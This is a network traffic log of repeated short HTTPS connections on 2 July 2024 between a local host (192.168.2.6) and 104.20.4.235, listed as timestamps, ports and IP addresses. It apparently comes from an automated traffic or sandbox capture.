Jul 2, 2024 16:31:25.079230070 CEST	54860	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:25.080883026 CEST	54861	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:25.080923080 CEST	443	54861	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:25.081052065 CEST	54861	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:25.081415892 CEST	54861	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:25.081433058 CEST	443	54861	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:25.556721926 CEST	443	54861	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:25.558548927 CEST	54861	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:25.558572054 CEST	443	54861	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:25.688170910 CEST	443	54861	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:25.688251972 CEST	443	54861	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:25.688309908 CEST	54861	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:25.688708067 CEST	54861	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:25.689872026 CEST	54862	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:25.689903021 CEST	443	54862	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:25.689976931 CEST	54862	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:25.690283060 CEST	54862	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:25.690301895 CEST	443	54862	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:26.179902077 CEST	443	54862	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:26.181416988 CEST	54862	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:26.181447029 CEST	443	54862	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:26.329601049 CEST	443	54862	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:26.329682112 CEST	443	54862	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:26.329853058 CEST	54862	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:26.330310106 CEST	54862	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:26.331665993 CEST	54863	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:26.331705093 CEST	443	54863	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:26.331840992 CEST	54863	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:26.332119942 CEST	54863	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:26.332135916 CEST	443	54863	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:26.806749105 CEST	443	54863	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:26.812741995 CEST	54863	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:26.812756062 CEST	443	54863	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:26.950097084 CEST	443	54863	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:26.950164080 CEST	443	54863	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:26.950908899 CEST	54863	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:26.951215029 CEST	54863	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:26.952429056 CEST	54864	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:26.952456951 CEST	443	54864	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:26.952636957 CEST	54864	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:26.952786922 CEST	54864	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:26.952799082 CEST	443	54864	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:27.437038898 CEST	443	54864	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:27.438453913 CEST	54864	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:27.438462973 CEST	443	54864	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:27.576816082 CEST	443	54864	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:27.576911926 CEST	443	54864	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:27.576983929 CEST	54864	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:27.577606916 CEST	54864	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:27.578759909 CEST	54865	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:27.578807116 CEST	443	54865	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:27.578896046 CEST	54865	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:27.579188108 CEST	54865	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:27.579204082 CEST	443	54865	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:28.054047108 CEST	443	54865	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:28.055459023 CEST	54865	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:28.055475950 CEST	443	54865	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:28.184958935 CEST	443	54865	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:28.185039043 CEST	443	54865	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:28.185123920 CEST	54865	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:28.185689926 CEST	54865	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:28.186877966 CEST	54866	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:28.186906099 CEST	443	54866	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:28.186971903 CEST	54866	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:28.187319040 CEST	54866	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:28.187333107 CEST	443	54866	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:28.827639103 CEST	443	54866	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:28.829035044 CEST	54866	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:28.829056978 CEST	443	54866	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:28.984790087 CEST	443	54866	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:28.984872103 CEST	443	54866	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:28.985003948 CEST	54866	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:28.985421896 CEST	54866	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:28.986526012 CEST	54867	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:28.986556053 CEST	443	54867	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:28.986701965 CEST	54867	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:28.986963987 CEST	54867	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:28.986975908 CEST	443	54867	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:29.479233980 CEST	443	54867	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:29.480693102 CEST	54867	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:29.480704069 CEST	443	54867	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:29.650368929 CEST	443	54867	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:29.650443077 CEST	443	54867	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:29.650535107 CEST	54867	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:29.651070118 CEST	54867	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:29.652348995 CEST	54868	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:29.652388096 CEST	443	54868	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:29.652498960 CEST	54868	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:29.652750969 CEST	54868	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:29.652769089 CEST	443	54868	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:30.148859024 CEST	443	54868	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:30.150000095 CEST	54868	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:30.150039911 CEST	443	54868	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:30.296742916 CEST	443	54868	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:30.296840906 CEST	443	54868	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:30.296927929 CEST	54868	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:30.297597885 CEST	54868	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:30.298892021 CEST	54869	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:30.298928976 CEST	443	54869	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:30.299094915 CEST	54869	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:30.299330950 CEST	54869	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:30.299340963 CEST	443	54869	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:30.776411057 CEST	443	54869	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:30.777868032 CEST	54869	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:30.777879953 CEST	443	54869	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:30.924719095 CEST	443	54869	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:30.924794912 CEST	443	54869	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:30.924885988 CEST	54869	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:30.925445080 CEST	54869	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:30.926628113 CEST	54870	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:30.926655054 CEST	443	54870	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:30.926815033 CEST	54870	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:30.927082062 CEST	54870	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:30.927102089 CEST	443	54870	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:31.419409037 CEST	443	54870	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:31.420773983 CEST	54870	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:31.420782089 CEST	443	54870	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:31.562712908 CEST	443	54870	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:31.562794924 CEST	443	54870	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:31.562980890 CEST	54870	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:31.563551903 CEST	54870	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:31.564799070 CEST	54871	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:31.564848900 CEST	443	54871	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:31.564905882 CEST	54871	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:31.565197945 CEST	54871	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:31.565212965 CEST	443	54871	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:32.033226967 CEST	443	54871	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:32.034610987 CEST	54871	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:32.034638882 CEST	443	54871	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:32.184189081 CEST	443	54871	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:32.184247017 CEST	443	54871	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:32.184283018 CEST	54871	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:32.185003996 CEST	54871	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:32.186477900 CEST	54872	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:32.186512947 CEST	443	54872	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:32.186564922 CEST	54872	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:32.186908007 CEST	54872	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:32.186918974 CEST	443	54872	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:32.664305925 CEST	443	54872	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:32.665565968 CEST	54872	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:32.665584087 CEST	443	54872	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:32.805711985 CEST	443	54872	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:32.805783987 CEST	443	54872	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:32.805882931 CEST	54872	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:32.806701899 CEST	54872	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:32.810231924 CEST	54873	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:32.810256958 CEST	443	54873	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:32.811029911 CEST	54873	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:32.811304092 CEST	54873	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:32.811312914 CEST	443	54873	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:33.277188063 CEST	443	54873	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:33.278978109 CEST	54873	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:33.278995991 CEST	443	54873	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:33.424913883 CEST	443	54873	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:33.424993038 CEST	443	54873	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:33.425038099 CEST	54873	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:33.425880909 CEST	54873	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:33.427222967 CEST	54874	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:33.427253008 CEST	443	54874	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:33.427314997 CEST	54874	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:33.427617073 CEST	54874	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:33.427628994 CEST	443	54874	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:34.030590057 CEST	443	54874	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:34.032037973 CEST	54874	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:34.032049894 CEST	443	54874	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:34.289969921 CEST	443	54874	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:34.290059090 CEST	443	54874	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:34.290236950 CEST	54874	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:34.292720079 CEST	54874	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:34.292717934 CEST	54875	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:34.292759895 CEST	443	54875	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:34.293096066 CEST	54875	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:34.293096066 CEST	54875	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:34.293128967 CEST	443	54875	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:34.793729067 CEST	443	54875	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:34.800539017 CEST	54875	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:34.800565004 CEST	443	54875	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:34.920190096 CEST	443	54875	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:34.920273066 CEST	443	54875	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:34.920768976 CEST	54875	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:34.921056032 CEST	54875	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:34.924717903 CEST	54876	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:34.924738884 CEST	443	54876	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:34.928827047 CEST	54876	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:34.932723999 CEST	54876	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:34.932740927 CEST	443	54876	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:35.408812046 CEST	443	54876	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:35.410159111 CEST	54876	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:35.410171032 CEST	443	54876	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:35.561538935 CEST	443	54876	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:35.561651945 CEST	443	54876	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:35.561700106 CEST	54876	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:35.562309027 CEST	54876	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:35.563678026 CEST	54877	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:35.563728094 CEST	443	54877	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:35.563786983 CEST	54877	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:35.564054012 CEST	54877	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:35.564070940 CEST	443	54877	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:36.037940025 CEST	443	54877	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:36.039854050 CEST	54877	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:36.039874077 CEST	443	54877	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:36.172421932 CEST	443	54877	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:36.172545910 CEST	443	54877	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:36.172596931 CEST	54877	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:36.173281908 CEST	54877	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:36.174582958 CEST	54878	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:36.174612999 CEST	443	54878	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:36.174668074 CEST	54878	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:36.174912930 CEST	54878	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:36.174930096 CEST	443	54878	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:36.651798010 CEST	443	54878	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:36.653949976 CEST	54878	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:36.653968096 CEST	443	54878	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:36.908720970 CEST	443	54878	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:36.908811092 CEST	443	54878	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:36.912868023 CEST	54878	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:36.913988113 CEST	54878	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:36.913994074 CEST	54880	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:36.914036036 CEST	443	54880	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:36.916836977 CEST	54880	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:36.918752909 CEST	54880	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:36.918777943 CEST	443	54880	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:37.444873095 CEST	443	54880	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:37.446636915 CEST	54880	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:37.446669102 CEST	443	54880	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:37.597666979 CEST	443	54880	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:37.597883940 CEST	443	54880	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:37.597938061 CEST	54880	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:37.598361969 CEST	54880	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:37.599654913 CEST	54881	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:37.599708080 CEST	443	54881	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:37.599776983 CEST	54881	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:37.600125074 CEST	54881	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:37.600147009 CEST	443	54881	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:38.078360081 CEST	443	54881	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:38.079843998 CEST	54881	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:38.079874992 CEST	443	54881	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:38.233005047 CEST	443	54881	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:38.233115911 CEST	443	54881	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:38.233175039 CEST	54881	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:38.233699083 CEST	54881	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:38.235085011 CEST	54882	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:38.235110998 CEST	443	54882	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:38.235184908 CEST	54882	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:38.235474110 CEST	54882	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:38.235486984 CEST	443	54882	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:38.709793091 CEST	443	54882	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:38.712213039 CEST	54882	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:38.712243080 CEST	443	54882	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:38.843257904 CEST	443	54882	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:38.843373060 CEST	443	54882	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:38.843522072 CEST	54882	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:38.845242977 CEST	54882	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:38.845247030 CEST	54883	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:38.845302105 CEST	443	54883	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:38.847242117 CEST	54883	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:38.850737095 CEST	54883	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:38.850765944 CEST	443	54883	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:39.322217941 CEST	443	54883	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:39.323878050 CEST	54883	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:39.323908091 CEST	443	54883	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:39.468518019 CEST	443	54883	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:39.468651056 CEST	443	54883	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:39.468693972 CEST	54883	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:39.469343901 CEST	54883	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:39.470609903 CEST	54884	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:39.470657110 CEST	443	54884	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:39.470724106 CEST	54884	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:39.471048117 CEST	54884	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:39.471059084 CEST	443	54884	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:39.969383001 CEST	443	54884	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:39.971194029 CEST	54884	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:39.971225977 CEST	443	54884	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:40.136014938 CEST	443	54884	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:40.136153936 CEST	443	54884	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:40.136207104 CEST	54884	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:40.137000084 CEST	54884	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:40.138673067 CEST	54885	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:40.138729095 CEST	443	54885	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:40.138811111 CEST	54885	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:40.139131069 CEST	54885	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:40.139144897 CEST	443	54885	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:40.630115032 CEST	443	54885	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:40.632229090 CEST	54885	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:40.632257938 CEST	443	54885	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:40.771867037 CEST	443	54885	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:40.771970034 CEST	443	54885	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:40.772836924 CEST	54885	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:40.774787903 CEST	54886	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:40.774787903 CEST	54885	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:40.774820089 CEST	443	54886	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:40.775818110 CEST	54886	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:40.778721094 CEST	54886	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:40.778731108 CEST	443	54886	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:41.246090889 CEST	443	54886	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:41.247436047 CEST	54886	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:41.247466087 CEST	443	54886	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:41.371880054 CEST	443	54886	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:41.371994019 CEST	443	54886	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:41.372040987 CEST	54886	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:41.372729063 CEST	54886	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:41.374144077 CEST	54887	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:41.374198914 CEST	443	54887	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:41.374279976 CEST	54887	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:41.374622107 CEST	54887	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:41.374635935 CEST	443	54887	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:41.838985920 CEST	443	54887	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:41.841022968 CEST	54887	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:41.841048002 CEST	443	54887	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:41.991534948 CEST	443	54887	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:41.991640091 CEST	443	54887	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:41.991694927 CEST	54887	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:41.992652893 CEST	54887	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:41.994594097 CEST	54888	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:41.994640112 CEST	443	54888	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:41.994734049 CEST	54888	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:41.995074034 CEST	54888	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:41.995095015 CEST	443	54888	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:42.488749027 CEST	443	54888	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:42.492824078 CEST	54888	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:42.492856979 CEST	443	54888	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:42.644962072 CEST	443	54888	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:42.645083904 CEST	443	54888	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:42.645194054 CEST	54888	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:42.645823956 CEST	54888	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:42.647159100 CEST	54889	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:42.647207975 CEST	443	54889	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:42.647397995 CEST	54889	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:42.648725033 CEST	54889	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:42.648741007 CEST	443	54889	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:43.149235964 CEST	443	54889	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:43.152730942 CEST	54889	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:43.152761936 CEST	443	54889	104.20.4.235	192.168.2.6
